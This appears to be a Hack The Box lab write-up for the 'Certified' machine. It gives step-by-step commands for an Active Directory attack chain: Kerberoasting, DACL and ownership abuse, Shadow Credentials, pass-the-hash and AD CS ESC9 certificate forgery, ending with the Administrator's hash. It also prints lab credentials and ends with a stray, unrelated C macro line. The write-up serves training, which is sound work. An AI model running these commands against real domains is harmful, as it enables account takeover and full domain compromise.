TL;DR

This box focuses on Red Teaming with a deep dive into post-exploitation on AD CS within a Windows environment. Rather than a straightforward takedown, this challenge hones in on AD exploitation techniques.

For the Pass-the-Certificate attack, we can leverage either certipy-ad, as discussed in the Mist writeup, or delve into the PKINITtools kit below. Both tools serve similar purposes in achieving certificate-based attacks.

SCAN

Nmap

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-03 14:44:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:46:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:46:39+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:46:40+00:00; +7h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:46:39+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
49729/tcp open  msrpc         Microsoft Windows RPC
50784/tcp open  msrpc         Microsoft Windows RPC
  • Kerberos (Port 88): Since this is a Windows machine, Active Directory Kerberos authentication is likely enabled. We should look into Kerberos-related attacks (For example, using Impacket-GetNPUsers to enumerate AS-REP hashes, if feasible).
  • LDAP (Ports 389, 636, 3268, 3269): LDAP might expose useful information, such as domain policies, groups, and possibly password policies. We can use ldapsearch or Impacket-ldapdomaindump to map out the LDAP structure and gather information about certified.htb.
  • RPC (Ports 135, 593, and various 496xx/507xx): RPC services, particularly on a domain controller, can be an entry point for attacks like remote SAM dump, querying user details, or accessing registry information.
  • HTTP (Port 5985): The open HTTP port hints at WinRM access. If valid credentials work, this may enable a direct shell using Evil-WinRM or CrackMapExec (no longer maintained) Netexec.

Creds

The platform offers a test account:

judith.mader:judith09
  • Validating Access with judith.mader: Start by testing the judith.mader account for various services, beginning with SMB (port 445) and WinRM (port 5985). Verifying this account’s privileges will also reveal the user’s access level and potentially expand our options for privilege escalation.
  • Kerberoasting & AS-REP Roasting: If the judith.mader account can list SPNs (Service Principal Names), Kerberoasting might be an option. Check if any accounts are configured with “Do not require Kerberos preauthentication” for AS-REP roasting.

But this account does not grant us remote logon privilege:


Kerberoasting

Impacket | GetUserSPNs

GetUserSPNs.py is part of Impacket’s suite, specifically designed to list and request Service Principal Names (SPNs) associated with accounts in Active Directory. This technique is commonly known as Kerberoasting and targets accounts that have an SPN registered, typically service accounts.

Using a valid account (judith) within the domain (certified.htb), we can authenticate to request information directly from the domain controller:

Bash
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip ${ip} -request
  • -request: This flag tells GetUserSPNs.py not only to list accounts ith SPNs but to request a Kerberos Ticket Granting Service (TGS) ticket for each service account it finds.

However, the KRB_AP_ERR_SKEW (Clock skew too great) error usually indicates that the time difference between our attacking machine and the domain controller (DC) is too large for Kerberos authentication. Kerberos is sensitive to time discrepancies, and typically, clocks need to be synchronized within a few minutes (usually within 5 minutes) for successful authentication.

Faketime

In pentesting, several tools can serve this purpose, such as Ntpdate and Htpdate (a personal favorite). Here, we’ll introduce a professional option: Faketime. This tool temporarily adjusts system time for specific applications—a handy feature, especially in cases like Kerberos authentication where clock skew can cause issues.

Install Faketime

Project on Github: link.

Bash
git clone https://github.com/wolfcw/libfaketime.git
cd libfaketime

# install under /usr/local, require root priv
sudo make
sudo make install

# Or, install under specific path
PREFIX=/path/to/install/destination make
PREFIX=/path/to/install/destination make install

Basic Usage

Absolute Time

To use faketime, specify the desired timestamp and the program with arguments:

Bash
faketime '<timestamp>' <program>

Date format: "YYYY-MM-DD hh:mm:ss".

For example:

Bash
faketime '2025-01-01 12:00:00' /bin/date
Offset Time
Bash
faketime -f '+2,5y x10,0' /bin/bash -c 'date; while true; do echo $SECONDS ; sleep 1 ; done'
  • -f: Use advanced timestamp format
  • +2,5y adds 2.5 years
  • x10,0 speeds up the clock by 10x
Freeze Time
Bash
faketime -f '+2,5y x0,50' /bin/bash -c 'date; while true; do echo $SECONDS ; sleep 1 ; done'
  • Freezes time at 2.5 years into the future
  • x0 means no time progression

Faketime| GetUserSPNs

To determine the correct time offset between our machine and the domain controller (DC), we can use ntpdate to quickly check the time difference:

Therefore, we can now use GetUserSPNs along with faketime, by the command:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip ${ip} -request

Now we get it:

The output we've received is a Kerberoasting hash for the management_svc service account on the certified.htb domain.

For the hash $krb5tgs$23$..., we can use Hashcat mode 13100 to crack it. Unfortunately, this is uncrackable with the rockyou wordlist, which implies it could not be the intended way.

RID Brute

In Active Directory and SMB environments, RID brute-forcing works by incrementing RIDs (Relative Identifiers) to identify users and groups associated with the domain. Each user and group is assigned a unique RID, starting from a known base RID (usually 500 for the Administrator account). The exploit will attempt to enumerate:

  • User Accounts: By enumerating RIDs that typically fall in the range assigned to user accounts.
  • Group Accounts: By enumerating RIDs associated with domain groups.

This process can reveal user and group names, even if the account has limited permissions, which is particularly helpful for further reconnaissance or privilege escalation.

In the past, we used Crackmapexec. Unfortunately, this powerful tool is no longer maintained, which sometimes caused me troubles. Here, I recommend a new and well developed replacement, Netexec:

Bash
netexec smb certified.htb -u judith.mader -p judith09 --rid-brute
  1. Important Groups:
    • Domain Admins (RID 512): Members of this group have high privileges on the domain.
    • Enterprise Admins (RID 519) and Schema Admins (RID 518): These groups have even broader privileges across the Active Directory forest.
    • DnsAdmins (RID 1101): Members of this group can manage DNS settings and potentially escalate privileges if DNS is misconfigured.
    • Key Admins (RID 526) and Enterprise Key Admins (RID 527): These are involved in key management, which can be critical for domain security.
  2. Users of Interest:
    • management_svc (RID 1105): This is the service account associated with the SPN we already found for Kerberoasting.
    • ca_operator (RID 1106): This user might have privileges related to managing certificate services (Certificate Authority), which could be useful if Active Directory Certificate Services (AD CS) is installed.
    • Domain Users like alexander.huges, harry.wilson, and gregory.cameron: Regular users might still have privileges or access to specific resources.

Potentially, DnsAdmins and ca_operator accounts could lead to privilege escalation paths if they have higher privileges or manage sensitive services.


BloodHound 1

BloodHound.py

There are various ways to collect Domain information with BloodHound, a powerful Active Directory (AD) analysis tool used to map attack paths in AD environments. Instead running SharpHound inside a Windows target locally (since we cannot Winrm logon as user Judith), we can also remotely collect via BloodHound.py (aka bloodhound-python).

Project on Github: link.

Use faketime to synchronize date and specify the IP of DC, with valid credentials:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
bloodhound-python -d certified.htb -c All -ns ${ip}	--zip -u judith.mader -p judith09 --use-ldap

Load the ZIP file via BloodHound locally:

Attack Paths

  1. Starting Point: [email protected]
    • This is the initial access point. The user has some level of access or ownership over another account, [email protected].
  2. Privilege Escalation Path:
    • WriteOwner permission from [email protected] to [email protected]:
      • WriteOwner means that judith.mader can potentially take ownership of management’s account. This allows for a potential escalation to [email protected].
    • GenericWrite permission on [email protected]:
      • [email protected] has GenericWrite permission over the MANAGEMENT_SVC account. GenericWrite permission typically allows an attacker to modify the account’s properties, including the password or login script. We could modify this to gain control over MANAGEMENT_SVC.
    • CanPSRemote to DC01.CERTIFIED.HTB:
      • MANAGEMENT_SVC has CanPSRemote permission to DC01, the domain controller. This permission allows management_svc to initiate a PowerShell Remoting (PS Session) to domain controller, giving us direct access to the DC if we obtain management_svc credentials.
  3. DC Sync Rights:
    • The DC01 domain controller has a connection labeled DCSync with CERTIFIED.HTB. This means that an account with privileges on DC01 may be able to perform a DCSync attack, which is used to replicate sensitive account data, including NTLM hashes for privileged accounts like Administrator.

WriteOwner

In Active Directory, objects like users and groups are protected by Discretionary Access Control Lists (DACLs). These DACLs contain Access Control Entries (ACEs) that define what each user or group can do with the object, such as reading or modifying it.

The WriteOwner permission is a special ACE that lets a user change the ownership of an object. If the WriteOwner permission granted on an object, we can change the owner of that object to ourselves or another account we control. Once compromised, we gain full control over the object, allowing us to:

  • Modify permissions to grant ourselves additional privileges.
  • Change sensitive properties like resetting the account's password.

In an attack scenario, an attacker with WriteOwner on a user account (such as a privileged account) can take ownership of that account, reset its password, and effectively take over the account to escalate privileges.

Step 1 | Set Ownership

Setting ownership with BloodyAD:

Bash
bloodyAD --host ${ip} -d "certified.htb" -u "judith.mader" -p "judith09" set owner Management judith.mader
  • set owner Management judith.mader: Changes the owner of the Management group to judith.mader.

As we can see, old owner Domain Admins (RID 512) is now replaced to us as Judith:

Step 2 | WriteMember DACL

After we are owner of that group, we can modify the DACL to gain Write permissions with Impacket dacledit.py, which is a script used to modify DACL permissions on Active Directory objects.

Now we need to modfiy the DACL of the Management group to give judith.mader WriteMembers permissions. This permission allows judith.mader to add or remove members in the Management group:

Bash
dacledit.py 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 
  • -action write: Specifies that we want to perform a write action on the DACL.
  • -rights WriteMembers: Grants the WriteMembers right to judith.mader, allowing her to modify group membership.
  • -principal 'judith.mader': Indicates that the permissions will be granted to judith.mader.
  • -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB': Specifies the Distinguished Name (DN) of the target object, which is the Management group in this case.

This step effectively allows us (Judith) to be granted with any privileges or access rights associated with the Management group.

Step 3 | Add Group

Since judith.mader has WriteMembers permission on the Management group, now we can Add judith.mader to the Management Group with net rpc, which is a command-line tool that interacts with Windows machines over SMB and can be used to manage groups and users.

Bash
net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'
  • Specifies the action to add (addmem) judith.mader to the Management group.

These commands collectively allow judith.mader to escalate privileges by manipulating DACLs and group memberships in Active Directory. This is a common technique in Active Directory attacks, where control over group memberships can lead to access to sensitive resources or even domain-wide control if the right groups are targeted.

GenericWrite

As a member of [email protected], with GenericWrite permissions over the MANAGEMENT_SVC account, we can modify this account’s properties, such as its password or login script.

Step 1 | Shadow Credentials

Abuse GenericWrite with Shadow Credentials using pywhisker, which is a tool that automates creating and managing Shadow Credentials in Active Directory. Shadow Credentials are a way to add alternative credentials (e.g., certificates) for an account, allowing us to authenticate as that account without knowing the password:

Bash
python3 pywhisker.py -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action add
  • --target "management_svc": Targets the management_svc account for the Shadow Credentials.
  • --action "add": Adds a new certificate-based credential (ShadowCred) for management_svc.

By abusing GenericWrite permissions, we addded a certificate to the management_svc account as an alternative authentication method. This certificate can then be used to request a Kerberos TGT as management_svc, giving control over that account:

Step 2 | Get TGT

With the generated Shadow Credential certificate, we can now authenticate as management_svc to obtain a TGT, enabling access to services as management_svc. Using gettgtpkinit.py, we leverage PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) to request this Ticket Granting Ticket (TGT), ensuring a synchronized timestamp:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx $generated_pfx -pfx-pass $cert_passwd management_svc.ccache

Step 3 | Extract NT Hash

Extract NT Hash for management_svc using getnthash.py from the PKINITtools kit:

Bash
export KRB5CCNAME=management_svc.ccache &&  
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
python3 getnthash.py certified.htb/management_svc -key $key
  • -key: The session key obtained from the previous TGT authentication step.

Extracted NT Hash:

a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

By obtaining the NT hash of management_svc, we can use Pass-The-Hash techniques for NTLM authentication as management_svc without needing the plaintext password:

And we can retrieve user flag under desktop directory.

BloodHound 2

Run BloodHound again to collect domain information again, but in the perspective of management_svc with its NT Hash:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
bloodhound-python -d certified.htb -c All -ns ${ip} --zip -u management_svc --hash :a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ --use-ldap

Check Outbound Object Control, we discover it has GenericAll privilege on ca_operator account:

We’re unable to request additional information from BloodHound, suggesting this might be a highly privileged account.

GenericAll

With GenericAll permissions on this account, we have multiple ways to compromise it. The most straightforward approach is to overwrite its password using Set-ADAccountPassword:

PowerShell
Set-ADAccountPassword -Identity "ca_operator" -NewPassword (ConvertTo-SecureString -AsPlainText "axuraP@ssw0rd" -Force) -Reset

We can verify the result via SMB module in Netexec:

BloodHound x Certipy

From the name of the newly compromised account ca_operator, we can assume it's AD CS related. We can use Certipy, a tool designed for Active Directory Certificate Services (AD CS) exploitation. The methodology of combining BloodHound and Certipy can be referred from this article.

As a start, we can use the find command in Certipy scans for misconfigurations or exploitable issues related to certificates in the Active Directory environment:

Bash
certipy-ad find -u '[email protected]' -p 'axuraP@ssw0rd' -dc-ip ${ip} -old-bloodhound
  • -old-bloodhound: this option must be flagged, as the new BloodHound data output from Certipy is only compatible with the forked GUI.

Now we can have the AD CS view in BloodHound:

  1. [email protected]:
    • This appears to represent a sensitive object or account in the CERTIFIED.HTB domain, potentially a service account or key domain account that handles authentication or other privileged operations.
  2. SID Ending in -1106(ca_operator):
    • This node is identified as the ca_operator account with SID ending -1106, which we found in in RID Brute forcing.
    • AutoEnroll Permission: The AutoEnroll permission allows ca_operator to automatically enroll in certificates. This is a common permission for accounts handling certificate services, enabling them to request or renew certificates without manual intervention.
  3. Other SIDs with WriteProperty Permissions:
    • SID -512: This is the Domain Admins group in CERTIFIED.HTB.
    • SID -519: This is the Enterprise Admins group.
    • SID -500: This represents the Administrator account for the domain.
    • These nodes have WriteProperty permissions over [email protected], meaning they can modify certain attributes on this object.
  • AutoEnroll allows ca_operator to automatically request certificates, which could be leveraged in attacks involving certificate-based authentication or AD CS privilege escalation.
  • Certificate-Based Attack Path: If [email protected] is a highly privileged account, ca_operator could potentially use certificates to authenticate as this account, leveraging its AutoEnroll permission for privilege escalation.

It seems my BloodHound version isn't providing enough detail. However, with this primitive, we can search the JSON output from certipy-ad for specific templates:

Bash
certipy-ad find -u '[email protected]' -p 'axuraP@ssw0rd' -dc-ip ${ip}

Revealing ESC 9 vulnerability:

Full CertifiedAuthentication template:

JSON
"Certificate Templates": {
"0": {
  "Template Name": "CertifiedAuthentication",
  "Display Name": "Certified Authentication",
  "Certificate Authorities": [
    "certified-DC01-CA"
  ],
  "Enabled": true,
  "Client Authentication": true,
  "Enrollment Agent": false,
  "Any Purpose": false,
  "Enrollee Supplies Subject": false,
  "Certificate Name Flag": [
    "SubjectRequireDirectoryPath",
    "SubjectAltRequireUpn"
  ],
  "Enrollment Flag": [
    "NoSecurityExtension",
    "AutoEnrollment",
    "PublishToDs"
  ],
  "Private Key Flag": [
    "16842752"
  ],
  "Extended Key Usage": [
    "Server Authentication",
    "Client Authentication"
  ],
  "Requires Manager Approval": false,
  "Requires Key Archival": false,
  "Authorized Signatures Required": 0,
  "Validity Period": "1000 years",
  "Renewal Period": "6 weeks",
  "Minimum RSA Key Length": 2048,
  "Permissions": {
    "Enrollment Permissions": {
      "Enrollment Rights": [
        "CERTIFIED.HTB\\operator ca",
        "CERTIFIED.HTB\\Domain Admins",
        "CERTIFIED.HTB\\Enterprise Admins"
      ]
    },
    "Object Control Permissions": {
      "Owner": "CERTIFIED.HTB\\Administrator",
      "Write Owner Principals": [
        "CERTIFIED.HTB\\Domain Admins",
        "CERTIFIED.HTB\\Enterprise Admins",
        "CERTIFIED.HTB\\Administrator"
      ],
      "Write Dacl Principals": [
        "CERTIFIED.HTB\\Domain Admins",
        "CERTIFIED.HTB\\Enterprise Admins",
        "CERTIFIED.HTB\\Administrator"
      ],
      "Write Property Principals": [
        "CERTIFIED.HTB\\Domain Admins",
        "CERTIFIED.HTB\\Enterprise Admins",
        "CERTIFIED.HTB\\Administrator"
      ]
    }
  },
  "[!] Vulnerabilities": {
    "ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
  }
}


ESC9

In the context ESC9 which refers to a vulnerability involving certificate template misconfigurations that can be exploited to escalate privileges. Specifically, ESC9 is one of the AD CS misconfiguration attack vectors (ESC1 through ESC10) that allow attackers to abuse certificate services for privilege escalation. It's introduced in this link and more details in this article.

In our scenario, user management_svc has GenericAll against user ca_operator and wants to compromise user Administrator. User ca_operator is allowed to enroll in a vulnerable template CertifiedAuthentication that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

First, the hash of user ca_operator is required. Since we have GenericAll on ca_operator, it can be retrieved via a Shadow Credentials attack like we did using Pywhisker earlier, or with the Certipy shadow command:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
certipy-ad shadow auto -username "[email protected]" -hashes a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -account ca_operator

Extracted NT Hash for ca_operator (This is dynamic):

b4b86f45c6018f1b664f70805f45d8f2

Then, we need to change the userPrincipalName of ca_operator to our target Administrator, since management_svc has GenericAll priv on ca_operator:

Bash
certipy-ad account update -username "[email protected]" -hashes a091c1832bcdd4▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -user ca_operator -upn Administrator -debug

This is NOT a constraint violation, since the Administrator user’s userPrincipalName is [email protected] and not Administrator.

Now, the vulnerable certificate CertifiedAuthentication can be requested as user ca_operator with her NT Hash retrieved earlier:

Bash
certipy-ad req -username '[email protected]' -hashes 'b4b86f45c6018f1b664f70805f45d8f2' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug

Notice that the userPrincipalName in the certificate is Administrator, and that the issued certificate contains no “object SID”.

After requesting the template to obtain a forged private key, we need to restore the UPN of the user ca_operator, like her original userPrincipalName (or whatever):

Bash
certipy-ad account update -username "[email protected]" -hashes a091c1832bcdd4677c▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -user ca_operator -upn "[email protected]"

Now, if we try to authenticate with the obtained certificate & private key, it will provide the NT hash of user [email protected] during UnPac the hash. The domain must be specified since it is not present in the certificate we forged:

Bash
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
certipy-ad auth -pfx administrator.pfx -domain "certified.htb"

Rooted:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)